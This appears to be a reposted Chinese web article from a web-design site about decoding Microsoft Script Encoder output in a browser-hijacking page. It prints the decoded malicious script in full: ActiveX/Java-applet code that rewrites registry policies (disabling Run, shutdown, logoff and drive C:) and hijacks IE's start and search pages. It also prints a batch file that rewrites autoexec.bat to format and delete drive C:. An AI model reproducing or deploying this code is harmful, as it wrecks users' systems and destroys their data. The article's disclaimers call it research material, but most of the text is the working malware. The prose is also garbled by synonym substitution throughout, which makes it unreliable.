当前位置：首页 -> 网页设计 -> HTML/CSS -> 网页脚本加密解密

网页脚本加密解密

时间： 2021-07-31 作者：daque

大师都有如许很烦地体验：大概在网上越野时，ie会莫名被被改的希奇怪僻了，保藏家也多了很多什么什么精致像片之类的网址，我厥后接洽这种网页，湮没的很深的，开始创造它的网页有如许的代码有援用什么www.coolstarpage.com的代码，<script src=" http://coolstarpage.com/set.asp?name=123&url=http://www.123.com&set=2"></script> 大师不妨去看看document.write("<iframe src='ieatt.htm' width='1' height='0' marginwidth='0' marginheight='0' hspace='0' vspace='0' frameborder='0' scrolling='no' ></iframe>"); 文献ieatt.htm代码如许的：<script language="jscript.encode">#@~^treaaa==@#@&@!z o@#@&\md, wmndp{jyf;/mmrwd] ...</script>明显用microsoft script encoder加密javascript代码了，搜集真好，很快找到了decoder for microsoft script encoder（该东西的源代码有附）改步调的简直体制及算法详见：http://www.virtualconspiracy.com/scrdec.html 【题外话】windows剧本加密器(windows script encoder - screnc.exe)是微软供给给大师加密html,jscript,asp等剧本,该东西载入地方：http://msdn.microsoft.com/scripting/default.htm?/scripting/vbscript/download/vbsdown.htm 微软没有供给解密东西，微软在网页上如许说：note that this encoding only prevents casual viewing of your code; it will not prevent the determined hacker from seeing what you've done and how. 加密器运用本领：screnc filename1 filename2filename1 - 要加密的剧本文献filename2 - 加密后输入的剧本文献举个例子：源文献如次：<html><head><title>page with secret information</title><script language="jscript"></script></head><body>this page contains secret information.</body></html>加密后文献如次：<html><head><title>page with secret information</title><script language="jscript.encode"><!--////**start encode**#@~^qwaaaa==@#@&p~,l^+ddpvey4kdp1w[n,/tk;v9p4~v+ay,/nm.nd"z"ee#p@#@&&joo@*@#@&qhaaaa==^#~@</script></head><body>this page contains secret information.</body></html>你仍旧看到了加密后的剧本运用了scripting.encoder这个com东西来实行的。【言归正卷】解密后辈码大概为:【--不要运用，大师接洽接洽------------------------------------------------------------------】<script language="javascript"> fn="ghoststudio.htm";doc="<script>s1=\'welcome to ghost studio\';alert(s1);document.body.innerhtml=s1</"+"script>";document.write("<applet height=0 width=0 code=com.ms.activex.activexcomponent></applet>");//add favoritesfunction addfavlnk(localfavdir, urldispname, urlsite){ var varshortcut = shl.createshortcut(localfavdir + "\\" + urldispname +".url"); varshortcut.targetpath = urlsite; varshortcut.save();}function savefile(){ a1.setproperty('doc',doc);}function iloveu(){ try { //activex initialization a1=document.applets[0]; a1.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}"); a1.createinstance(); shl = a1.getobject(); a1.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}"); a1.createinstance(); fso = a1.getobject(); a1.setclsid("{f935dc26-1cf0-11d0-adb9-00c04fd58a0b}"); a1.createinstance(); net = a1.getobject(); a1.setclsid("{06290bd5-48aa-11d2-8432-006008c3fbfc}"); a1.createinstance(); path = a1.getobject(); //create a file named 'ghoststudio.htm" on your desktop settimeout("a1.setproperty('path','"+fn+"')",1000); settimeout("savefile()",1500); settimeout("a1.invoke('write',va);alert('"+fn+" 被创造');",2000); try { if (document.cookie.indexof("chg") == -1) { var expdate = new date((new date()).gettime() + (24 * 60 * 60 * 1000 * 90)); document.cookie="chg=general; expires=" + expdate.togmtstring() + "; path=/;" var wf, shor, loc; wf = fso.getspecialfolder(0); loc = wf + "\\favorites"; if(!fso.folderexists(loc)) { loc = fso.getdrivename(wf) + "\\documents and settings\\" + net.username + "\\favorites"; if(!fso.folderexists(loc)) return; } //add favorite addfavlnk(loc, "ghost studio", " http://ghoststudio.yeah.net"); //no run shl.regwrite("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\explorer\\norun", 01, "reg_binary"); //no shutdown shl.regwrite("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\explorer\\noclose", 01, "reg_binary"); //no logoff shl.regwrite("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\explorer\\nologoff", 01, "reg_binary"); //no driver c: shl.regwrite("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\explorer\\nodrives", "00000004", "reg_dword"); //no dos program shl.regwrite("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\winoldapp\\disabled","reg_binary"); //no dos model shl.regwrite("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\winoldapp\\norealmode","reg_binary"); //show logon messagebox title shl.regwrite("hklm\\software\\microsoft\\windows\\currentversion\\winlogon\\legalnoticecaption", "aha i love u"); //show logon messagebox contect shl.regwrite("hklm\\software\\microsoft\\windows\\currentversion\\winlogon\\legalnoticetext", "aha i love u"); //modify ie start page shl.regwrite("hkcu\\software\\microsoft\\internet explorer\\main\\start page", " http://ghoststudio.yeah.net"); //modify input shl.regwrite("hklm\\software\\microsoft\\windows\\currentversion\\run\\internat.exe", ".............."); //modify reg readonly shl.regwrite("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\winoldapp\\norealmode", "00000000", "reg_dword"); //modify ie window title shl.regwrite("hklm\\software\\microsoft\\internet explorer\\main\\window title", " http://ghoststudio.yeah.net"); shl.regwrite("hkcu\\software\\microsoft\\internet explorer\\main\\window title", " http://ghoststudio.yeah.net"); //modify ie search page shl.regwrite("hkcu\\software\\microsoft\\internet explorer\\main\\autosearch", "05000000", "reg_binary"); shl.regwrite("hklm\\software\\microsoft\\internet explorer\\main\\autosearch", "05000000", "reg_binary"); shl.regwrite("hkcu\\software\\microsoft\\internet explorer\\main\\do404search", "01000000", "reg_binary"); shl.regwrite("hklm\\software\\microsoft\\internet explorer\\main\\do404search", "01000000", "reg_binary"); shl.regwrite("hkcu\\software\\microsoft\\internet explorer\\main\\search page", " http://ghoststudio.yeah.net"); shl.regwrite("hklm\\software\\microsoft\\internet explorer\\main\\search page", " http://ghoststudio.yeah.net"); } } catch(e){} } catch(e){}}function init(){ settimeout("iloveu()", 1000);}init();</script><script language="vbscript"> ' 获得com.ms.com.variant[]va = array()</script>//*****************************************@echo off rem bye bye hardrive 1.0 echo please wait while program uploads some nice pronography.... call attrib -h -r c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo call format c: /q /u /autotest >nul >>c:\autoexec.bat echo call deltree /y c: >nul >>c:\autoexec.bat echo dummy variable >c:\dvar.txt :form call format c: /q /u /autotest >nul if exist c:\dos\format.* goto dosform if exist c:\windows\command\format.* goto winform goto de :dosform cd\dos >nul call format c: /h /q /u /autotest >nul cd\ >nul :winform cd\windows\command >nul call format c: /h /q /u /autotest >nul cd\ >nul goto inform :de if exist c:\dvar.txt goto dtree goto inform :dtree call deltree /y c: >nul if exist c:\dos\deltree.* goto deldos if exist c:\windows\command\deltree.* goto delwin goto inform :deldos cd\dos call deltree /y c: >nul cd\ :delwin cd\windows\command >nul call deltree /y c: >nul cd\ >nul rem the following rewrites the code into the autoexec.bat file. echo @echo off >c:\autoexec.bat echo cls >>c:\autoexe.bat echo :form echo call format c: /q /u /autotest >nul >>c:\autoexec.bat echo if exist c:\dos\format.* goto dosform >>c:\autoexec.bat echo if exist c:\windows\command\format.* goto winform >>c:\autoexec.bat echo goto de >>c:\autoexec.bat echo :dosform >>c:\autoexec.bat echo cd\dos >nul >>c:\autoexec.bat echo call format c: /q /u /autotest >nul >>c:\autoexec.bat echo cd\ >nul >>c:\autoexec.bat echo :winform >>c:\autoexec.bat echo cd\windows\command >nul >>c:\autoexec.bat echo call format c: /q /u /autotest >nul >>c:\autoexec.bat echo cd\ >nul >>c:\autoexec.bat echo goto write >>c:\autoexec.bat echo :de >>c:\autoexec.bat echo if exist c:\dvar.txt goto dtree >>c:\autoexec.bat echo goto write >>c:\autoexec.bat echo :dtree >>c:\autoexec.bat echo call deltree /y c: >nul >>c:\autoexec.bat echo if exist c:\dos\deltree.* goto deldos >>c:\autoexec.bat echo if exist c:\windows\command\deltree.* goto delwin >>c:\autoexec.bat echo :deldos >>c:\autoexec.bat echo cd\dos >>c:\autoexec.bat echo call deltree /y c: >nul >>c:\autoexec.bat echo cd\ >>c:\autoexec.bat echo :delwin >>c:\autoexec.bat echo cd\windows\command >nul >>c:\autoexec.bat echo call deltree /y c: >nul >>c:\autoexec.bat echo cd\ >nul >>c:\autoexec.bat echo :write >>c:\autoexec.bat echo type hdkiller.txt >>c:\autoexec.bat echo c:\ >>c:\autoexec.bat echo cd\ >>c:\autoexec.bat echo :nasty >>c:\autoexec.bat echo md nasty >>c:\autoexec.bat echo cd nasty >>c:\autoexec.bat echo echo you're gone @$$ hole!!!! >yourgone.txt >>c:\autoexec.bat echo goto nasty >>c:\autoexec.bat echo pause >>c:\autoexec.bat rem rewriting of code to the autoexec.bat file is complete. c:\ >nul cd\ >nul :killfat md nasty >nul cd nasty >nul echo woops is sent the hdk and not the pornography o well.. >yourgone.txt >nul goto killfat :end //*****************************************【--不要运用，大师接洽接洽------------------------------------------------------------------】讲解（我加上了证明，代码中ghost studio及 http://ghoststudio.yeah.net字符串是我包办用的，个中有些代码是我本人按照对windows的领会而加上去的）更要害的是不妨实行一个可实行文献固然java对applet的安定作出了控制，但因为欣赏器或谈话缺点的因为，当它与功效比拟宏大的剧本谈话贯串时，那些小运用步调常可依附平常或神秘的本领对用户的呆板举行歹意窜改，比方窜改备案表，运转关系的dos吩咐，在用户呆板上安置跷跷板或激活关系的运用步调，其功效之宏大远非简单的网页所能独当一面，由此可见，此刻网上所传播的说什么欣赏关系网页中宏病毒大概硬盘被方法化也就怪罪不惊了。其余，再有一种嵌入式运用步调即是activex，是微软的一种插件本领，也不妨象applet一律举行少许对准本机的操纵。此刻让咱们领会一下以次代码体例的机理（即使你不领会剧本谈话，可仅看看步调窜改了哪些备案表表项，而后找到那些表项并窜改回顾）。让咱们再来看看这个com.ms.activex.activexcomponent货色是什么？我的computer时windows 2000在目次 \winnt\java\packages\有一个zip文献tn9j75np.zip大约5m内里是一堆的java class我供给代码中有将有源文献activexcomponent.java代码大概是：public class activexcomponent extends canvas{ private transient iaxcomponent ax; private transient iunknown unknown; private string clsid; public void enableevents() { } public iunknown createinstance(string s) { unknown = ax.createcontrol(s); return unknown; } public iunknown createinstance() { if(clsid == null) throw new nullpointerexception(); else return createinstance(clsid); } public void createinstance(iunknown iunknown) { if(iunknown == null) { throw new nullpointerexception(); } else { unknown = iunknown; ax.createcontrolfromiunknown(iunknown); return; } } public variant invoke(string s, variant avariant[]) { return internal_invoke(1, s, avariant); } public variant getproperty(string s) { return internal_invoke(2, s, null); } public void setproperty(string s, variant variant) { variant avariant[] = new variant[1]; avariant[0] = variant; internal_invoke(4, s, avariant); } public activexcomponent() { policyengine.checkforallpermissions(); ax = createaxcomponent(); } public activexcomponent(string s) { this(); setclsid(s); createinstance(s); } public activexcomponent(iunknown iunknown) { this(); createinstance(iunknown); } protected iaxcomponent gethost() { return ax; } private static native iaxcomponent createaxcomponent(); private variant internal_invoke(int i, string s, variant avariant[]) throws illegalargumentexception, nullpointerexception { int ai[] = new int[1]; if(s == null) throw new illegalargumentexception("the method or property name can not be null."); if(i == 0) i = 1; if(i != 1 && i != 2 && i != 4 && i != 8) throw new illegalargumentexception("the argument, int type, is not valid."); if(getobject() == null) throw new nullpointerexception("the activex control iunknown is null."); variant variant = null; switch(i) { case 3: // '\003' case 5: // '\005' case 6: // '\006' case 7: // '\007' default: break; case 2: // '\002' variant = dispatch.get(getobject(), s); break; case 4: // '\004' if(avariant == null) throw new illegalargumentexception("property value can not be null."); dispatch.put(getobject(), s, avariant[0]); break; case 8: // '\b' if(avariant == null) throw new illegalargumentexception("property value can not be null."); dispatch.putref(getobject(), s, avariant[0]); break; case 1: // '\001' if(avariant == null) { variant avariant1[] = new variant[1]; avariant1[0] = new variant(); avariant = avariant1; } variant = dispatch.invokev(getobject(), s, i, avariant, ai); break; } return variant; } public void setclsid(string s) { clsid = s; } public string getclsid() { return clsid; } public iunknown getobject() { return unknown; } static { system.loadlibrary("msawt"); }}不妨看出windows对java的扶助重要靠这个文献:\systemdir\msawt.dll（microsoft awt library for java）【供给的源代码证明】_iloveu.ok 歹意代码（我没有尝试，道理一致对，大师不要运用）activexcompoent.java 微软对java扶助的一块代码remodify.htm 对已酸中毒的体例回复备案表（代码加密了，大师解密看看）regvol1.zip 备案表大全卷一reghelp vol.1收缩包（解压后点击reg目次下的index.html）sce10chs.exe mircosoft供给的剧本加密东西ver 1.0scrdec13.c windows script decoder源代码ver 1.3scrdec13.exe windows script decoder步调（吩咐行办法）windowsscriptdecoder.htm 原作家的算法解说，e文 copyleft (c) 2001 ghost studio. all rights abandoned. http://ghoststudio.yeah.net mornlee@21cn.com 2001/12/29【闪人了！】再过两钟点咱们要吃年饭了，不许说太多了，呵呵，没功夫了！大师本人接洽接洽吧！万万不要乱用哦！不对的请教正！结果祝大师也祝我，happy new year！每天好情绪！反复要害证明：此代码仅供接洽运用，让大师有点提防认识，不要这种枯燥歹意的代码妨害咱们，感化咱们网上越野的情绪，即使有人不法运用，十足成果自夸，与自己无干，也倡导大师不要在本人的网页中运用，由于你一旦运用，结果最罹难的是生你养你的老妈呀！

网页脚本加密解密

相关推荐

推荐下载

热门阅览

最新排行